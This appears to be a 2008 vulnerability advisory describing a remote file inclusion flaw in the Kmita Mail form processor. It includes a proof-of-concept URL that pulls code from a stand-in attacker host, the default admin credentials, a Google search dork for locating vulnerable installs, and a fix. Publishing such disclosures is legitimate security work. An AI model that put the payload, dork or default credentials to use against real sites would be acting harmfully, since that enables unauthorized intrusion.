SecurityReason - Kmita Mail <= 3.0 (file) Remote File Inclusion Vulnerability

Advisory Text :

ECHO_ADV_94$2008

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[ECHO_ADV_94$2008] Kmita Mail <= 3.0 (file) Remote File Inclusion
Vulnerability

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Author : M.Hasran Addahroni

Date : May, 5 th 2008

Location : Jakarta, Indonesia

Web : http://advisories.echo.or.id/adv/adv94-K-159-2008.txt

Critical Lvl : High

Impact : System access

Where : From Remote

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Affected software description:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Kmita Mail

version : <= 3.0

Vendor : http://www.kmitascripts.com/kmitamhome/

Description :

Easy, fastest and Secure form processor. Installs directly from the server
pre configured to your server. No programming hassles, no opening code
files. Kmita Mail v.3 has inbuilt 3 levels of spam protection and has
features like security image (CAPTCHA). The script works in backend, so you
have full control over your web design. Supports most basic contact forms,
feedback forms, order forms and other feature which you may like to use :
Multiple visitor file UPLOADS, Auto responder with attachment, Success
Page, Error Page, Validation ,To CC BCC email addresses. Kmita Mail has its
own ADMIN utility and handles UNLIMITED FORMS with one installation. Best
for novices and experts who want to SAVE precious TIME

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Vulnerability:

~~~~~~~~~~~~~~

Input passed to the "file" parameter in htmlcode.php is not properly
verified before being used to include files.

This can be exploited to include arbitrary files from local or external
resources.

Successful exploitation requires that "register_globals" is enabled.

Poc/Exploit:

~~~~~~~~~~

http://www.target.com/kmitaadmin/kmitam/htmlcode.php?file=http://attacke
r.com/evil?

Note: sometimes need to login first.the default user & password are admin

Dork:

~~~~~

Google : "inurl:/kmitam/"

Solution:

~~~~~~~

- Edit the source code to ensure that input is properly verified.

- Turn off register_globals in php.ini

Timeline:

~~~~~~~~~

- 02 - 05 - 2008 bug found

- 05 - 05 - 2008 vendor contacted

- 05 - 05 - 2008 advisory released

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Shoutz:

~~~~~

~ ping - my dearest wife, zautha my light of eyes, for all the luv the
tears n the breath

~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v,
az01,negative,the_hydra,neng chika, str0ke

~ everybody [at] SCAN-NUSANTARA and SCAN-ASSOSIATES

~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,an0mal
y,cybertank,super_temon,b120t0,inggar,fachri,adi,rahmat,indra,cyb3rh3b

~ dr188le,SinChan,h4ntu,cow_1seng,poniman_coy, ketut, rizal, cR4SH3R,
kuntua, stev_manado, nofry,k1tk4t,0pt1c

~ newbie_hacker (at) yahoogroups (dot) com [email concealed]

~ #aikmel #e-c-h-o @irc.dal.net

~ special for rgod - good bye mate, thanks for the great works.

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Contact:

~~~~~~

K-159 || echo|staff || eufrato[at]gmail[dot]com

Homepage: http://k-159.echo.or.id/

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